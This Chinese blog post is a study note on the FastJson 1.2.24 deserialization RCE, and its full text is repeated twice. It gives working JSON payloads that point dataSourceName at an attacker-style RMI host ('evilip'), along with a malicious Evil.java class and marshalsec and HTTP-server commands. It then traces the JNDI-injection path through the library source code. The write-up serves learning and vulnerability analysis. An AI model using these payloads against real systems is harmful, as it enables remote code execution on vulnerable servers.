FastJson1.2.24-反序列化RCE学习笔记
Ebounce
撰写于 2020年 06月 16 日

FastJson1.2.24-反序列化RCE学习笔记

前言

我们知道序列化和反序列化的存在是为了面向类的编程思想的语言,传递类方便,才会有序列化和反序列化的概念,每个语言自带的序列化方式都不同,但是无论是Python,JavaScript,PHP,Java,都有对应的包,支持利用JSON为传递类的数据格式,而FastJson是阿里的开源高性能JSON包,在国内运用的相当普遍。因此每当这个包出现漏洞,影响都是非常巨大的。我们学习这个RCE漏洞,能够帮助我们更好的理解Java安全。
<!--more-->
PS:这里的FastJson反序列化和Java反序列化不是一个东西,两者是恢复对象的两种不同方法。

漏洞环境&POC

首先肯定先开POC是怎么写的,项目中给出的payload为:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evilip:port/Evil",
        "autoCommit":true
    }
}

还有类似的payload为:

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/ExpClass","autoCommit":true}

他们都是使用了jdni注入,来利用这个漏洞,这里需要我们远程开启一个RMI服务,在fastjson所使用的服务器中传入恶意的JSON数据,让服务器加载我们远程的恶意类,从而达到RCE的目的。

具体利用

  1. 编写一个恶意java
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"peek"};
//peek是我本地的截GIF图的软件,有GUI方便看效果
            Process p = rt.exec(commands);
            p.waitFor();
        }catch (Exception e){
        }
    }
}

利用javac命令将该.java文件编译成.class

javac Evil.class
  1. 在编译的Evil.class目录下,利用python3开启一个HTTP服务:

只要能够像这样能够文件遍历即可。

python3 -m http.server 8099 #python3开启http
python -m SimpleHTTPServer 8099 #python2开启http

然后利用marshalsec工具,开启一个RMI服务,这个工具是通过http服务找到需要绑定的类的

PS:该工具是在Java8进行mvc打包,如果出现了依赖问题,可以尝试添加(我下的时候pom.xml没有这个依赖):

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.0.0.RELEASE</version>
</dependency>

来解决org.springfreamework.core.*无法访问的依赖问题,打包工具就像原项目讲的使用:

mvn clean package -DskipTests
  1. 通过marshalsec开启RMI服务,并绑定Evil.class:

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8099/#Evil

接着使用POST方式,将POC传给Fastjson服务:

由于使用的是Java8u102,所以没有com.sun.jndi.rmi.object.trustURLCodebase的现在,这个限制在Java8u113之后,即不允许从远程的codebase加载Reference工厂类了。这里工具对应的,marshalsec.jndi.RMIRefServer为远程的codebase,我们的Evil.class即为工厂类。

其他利用方法可以参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

分析

我们成功复现了FastJson这个漏洞,现在我们来看看为什么能够执行命令,自然首先入手的就是这个POC了,

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/Evil",
        "autoCommit":true
    }
}

我的调试方法比较笨,由于我们传入的JSON类型的POC因此推测问题应该出在JSONd的解析上面,所以在DefaultJSONParser类中的DefaultJSONParser里打上断点,然后疯狂单步调试。

有关触发

这个需要看源码,关键源码在这里,在经过很多次循环和token解析之后,当检测到@type和其内容时会进入这个部分的代码:

其中缺省的部分:

public static String           DEFAULT_TYPE_KEY     = "@type";

我们发现这里使用了TypeUtils.loadclass,看名字就知道很显然这里将我们@type的类名称,载入了进来,并将这个值传给Class的泛型clazz,

最后得到了@type所对应的类,至少从这里来说@type决定了我们要使用类的类型,然后又是经过一同解析,FastJson会将@type对应的这个类进行反序列化,在得到这个类的对象之后,开始解析下一个JSONtoken,为什么最后会出现这个功能呢?因为我们知道一般的JSON字符串,反序列化出来是不知道它包含哪个对象的,因此这里FastJson,通过添加@type字段,指明了反序列化的对象类型,下图是DefaultJSONParser.java的反序列化方法

随后的函数栈如下:

当解析完所有的token之后,就会开始FastJson的反序列化了,JavaBeanDeserializer.java最终会调用FieldDeserializer.java的方法:

这里我们会发现一个问题,他调用的是@type类中的set(属性名)的方法,那么这个方法又是如何找到的,我们会发现这里实际上得到方法名是在fieldInfo.method中找到的,我们在FieldInfo的类构造方法上打上断点,然后重新利用一次POC发现:

这里已经找到了对应方法,因此我们观察函数栈,对应的信息在JavaBeanInfo.java中,简化了一下代码大概是这样一个逻辑:

Method[] methods = clazz.getMethods();
/* clazz就是@type对应的类,我们去的里面的所有方法得到一个数组
 * 然后将这个数组进行迭代查找
*/
for (Method method : methods) { //
            int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
            String methodName = method.getName();
            String propertyName; //propertyName就是JSON中的属性值,这里可为dataSourceName或autoCommit
            /* 省略很多代码(主要用来过滤非get和set开头的代码)
             * 最后寻找是否有方法名是包含propertyName,且为set或get开头的,有就
             * 生成一个FieldInfo对象来保存这些信息
            */
            add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                                         annotation, fieldAnnotation, null));
        }

最后经由FieldDeserializer.java中的setValue方法,利用找到的对应方法和JSON中对应的值,利用Java反射机制的invoke方法进行设置,最后返回生成的类:

有关类的选择

通过上面的分析我们知道了POC为什么会使用@type,因为使用这个参数,意味这我们不仅可控类,也可控类的方法及其属性(前提是该类含有getset开头的方法),所以最后问题就落在了,我们需要找到一个类,能够控制含有setget方法,且能够RCE这个问题上面了。因为POC已经给出,所以我们来看看这个类为什么能够RCE,下面为我们使用的两个set方法:

    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

该类的setDataSourceName使用了父类的setDataSourceName:

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

父类方法也很简单,很显然问题是在setAutoCommit方法上面了,我们POC中传入的autoCommit=True,这里var1肯定不为null,所以进入else中的connect()方法:

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
            // autoCommit就是在设置conn的值,不走这个分值
        } else if (this.getDataSourceName() != null) {
            // 通过setDataSourceName已经设置好了对应值
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                /*1.出现了lookup函数,我们知道jndi注入其中一个条件是lookup参数可控,这里显然可控
                 *2.var1为InitialContext类
                */
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

如果需要跟的话,我们知道InitialContextjndi的老常客了,他的lookup方法为:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

再跟的话源码为:

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

由于我们传入了dataSource,导致了scheme的值不为空,最后这里便将我们的原rmi地址,重写为了我们构造好的恶意地址rmi://127.0.0.1:1099/Evil,而这个通过rmi找到的类为Reference工厂类,从而导致了jndi注入的顺利进行。

至此这个漏洞就已经分析完毕了,随后FastJson1.2.25给出的修复方案是不默认支持指定反序列化类的类型,还加入了黑名单的方式进行了校验,先挖个坑以后再分析吧。

参考:

FastJson1.2.24-反序列化RCE学习笔记

FastJson1.2.24-反序列化RCE学习笔记

前言

我们知道序列化和反序列化的存在是为了面向类的编程思想的语言,传递类方便,才会有序列化和反序列化的概念,每个语言自带的序列化方式都不同,但是无论是Python,JavaScript,PHP,Java,都有对应的包,支持利用JSON为传递类的数据格式,而FastJson是阿里的开源高性能JSON包,在国内运用的相当普遍。因此每当这个包出现漏洞,影响都是非常巨大的。我们学习这个RCE漏洞,能够帮助我们更好的理解Java安全。
<!--more-->
PS:这里的FastJson反序列化和Java反序列化不是一个东西,两者是恢复对象的两种不同方法。

漏洞环境&POC

首先肯定先开POC是怎么写的,项目中给出的payload为:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://evilip:port/Evil",
        "autoCommit":true
    }
}

还有类似的payload为:

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip/ExpClass","autoCommit":true}

他们都是使用了jdni注入,来利用这个漏洞,这里需要我们远程开启一个RMI服务,在fastjson所使用的服务器中传入恶意的JSON数据,让服务器加载我们远程的恶意类,从而达到RCE的目的。

具体利用

  1. 编写一个恶意java
import java.lang.Runtime;
import java.lang.Process;

public class Evil {
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"peek"};
//peek是我本地的截GIF图的软件,有GUI方便看效果
            Process p = rt.exec(commands);
            p.waitFor();
        }catch (Exception e){
        }
    }
}

利用javac命令将该.java文件编译成.class

javac Evil.class
  1. 在编译的Evil.class目录下,利用python3开启一个HTTP服务:

只要能够像这样能够文件遍历即可。

python3 -m http.server 8099 #python3开启http
python -m SimpleHTTPServer 8099 #python2开启http

然后利用marshalsec工具,开启一个RMI服务,这个工具是通过http服务找到需要绑定的类的

PS:该工具是在Java8进行mvc打包,如果出现了依赖问题,可以尝试添加(我下的时候pom.xml没有这个依赖):

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>4.0.0.RELEASE</version>
</dependency>

来解决org.springfreamework.core.*无法访问的依赖问题,打包工具就像原项目讲的使用:

mvn clean package -DskipTests
  1. 通过marshalsec开启RMI服务,并绑定Evil.class:

java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8099/#Evil

接着使用POST方式,将POC传给Fastjson服务:

由于使用的是Java8u102,所以没有com.sun.jndi.rmi.object.trustURLCodebase的现在,这个限制在Java8u113之后,即不允许从远程的codebase加载Reference工厂类了。这里工具对应的,marshalsec.jndi.RMIRefServer为远程的codebase,我们的Evil.class即为工厂类。

其他利用方法可以参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用

分析

我们成功复现了FastJson这个漏洞,现在我们来看看为什么能够执行命令,自然首先入手的就是这个POC了,

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/Evil",
        "autoCommit":true
    }
}

我的调试方法比较笨,由于我们传入的JSON类型的POC因此推测问题应该出在JSONd的解析上面,所以在DefaultJSONParser类中的DefaultJSONParser里打上断点,然后疯狂单步调试。

有关触发

这个需要看源码,关键源码在这里,在经过很多次循环和token解析之后,当检测到@type和其内容时会进入这个部分的代码:

其中缺省的部分:

public static String           DEFAULT_TYPE_KEY     = "@type";

我们发现这里使用了TypeUtils.loadclass,看名字就知道很显然这里将我们@type的类名称,载入了进来,并将这个值传给Class的泛型clazz,

最后得到了@type所对应的类,至少从这里来说@type决定了我们要使用类的类型,然后又是经过一同解析,FastJson会将@type对应的这个类进行反序列化,在得到这个类的对象之后,开始解析下一个JSONtoken,为什么最后会出现这个功能呢?因为我们知道一般的JSON字符串,反序列化出来是不知道它包含哪个对象的,因此这里FastJson,通过添加@type字段,指明了反序列化的对象类型,下图是DefaultJSONParser.java的反序列化方法

随后的函数栈如下:

当解析完所有的token之后,就会开始FastJson的反序列化了,JavaBeanDeserializer.java最终会调用FieldDeserializer.java的方法:

这里我们会发现一个问题,他调用的是@type类中的set(属性名)的方法,那么这个方法又是如何找到的,我们会发现这里实际上得到方法名是在fieldInfo.method中找到的,我们在FieldInfo的类构造方法上打上断点,然后重新利用一次POC发现:

这里已经找到了对应方法,因此我们观察函数栈,对应的信息在JavaBeanInfo.java中,简化了一下代码大概是这样一个逻辑:

Method[] methods = clazz.getMethods();
/* clazz就是@type对应的类,我们去的里面的所有方法得到一个数组
 * 然后将这个数组进行迭代查找
*/
for (Method method : methods) { //
            int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
            String methodName = method.getName();
            String propertyName; //propertyName就是JSON中的属性值,这里可为dataSourceName或autoCommit
            /* 省略很多代码(主要用来过滤非get和set开头的代码)
             * 最后寻找是否有方法名是包含propertyName,且为set或get开头的,有就
             * 生成一个FieldInfo对象来保存这些信息
            */
            add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
                                         annotation, fieldAnnotation, null));
        }

最后经由FieldDeserializer.java中的setValue方法,利用找到的对应方法和JSON中对应的值,利用Java反射机制的invoke方法进行设置,最后返回生成的类:

有关类的选择

通过上面的分析我们知道了POC为什么会使用@type,因为使用这个参数,意味这我们不仅可控类,也可控类的方法及其属性(前提是该类含有getset开头的方法),所以最后问题就落在了,我们需要找到一个类,能够控制含有setget方法,且能够RCE这个问题上面了。因为POC已经给出,所以我们来看看这个类为什么能够RCE,下面为我们使用的两个set方法:

    public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
    public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

该类的setDataSourceName使用了父类的setDataSourceName:

    public void setDataSourceName(String name) throws SQLException {

        if (name == null) {
            dataSource = null;
        } else if (name.equals("")) {
           throw new SQLException("DataSource name cannot be empty string");
        } else {
           dataSource = name;
        }

        URL = null;
    }

父类方法也很简单,很显然问题是在setAutoCommit方法上面了,我们POC中传入的autoCommit=True,这里var1肯定不为null,所以进入else中的connect()方法:

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
            // autoCommit就是在设置conn的值,不走这个分值
        } else if (this.getDataSourceName() != null) {
            // 通过setDataSourceName已经设置好了对应值
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                /*1.出现了lookup函数,我们知道jndi注入其中一个条件是lookup参数可控,这里显然可控
                 *2.var1为InitialContext类
                */
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

如果需要跟的话,我们知道InitialContextjndi的老常客了,他的lookup方法为:

    public Object lookup(String name) throws NamingException {
        return getURLOrDefaultInitCtx(name).lookup(name);
    }

再跟的话源码为:

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

由于我们传入了dataSource,导致了scheme的值不为空,最后这里便将我们的原rmi地址,重写为了我们构造好的恶意地址rmi://127.0.0.1:1099/Evil,而这个通过rmi找到的类为Reference工厂类,从而导致了jndi注入的顺利进行。

至此这个漏洞就已经分析完毕了,随后FastJson1.2.25给出的修复方案是不默认支持指定反序列化类的类型,还加入了黑名单的方式进行了校验,先挖个坑以后再分析吧。

参考:

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论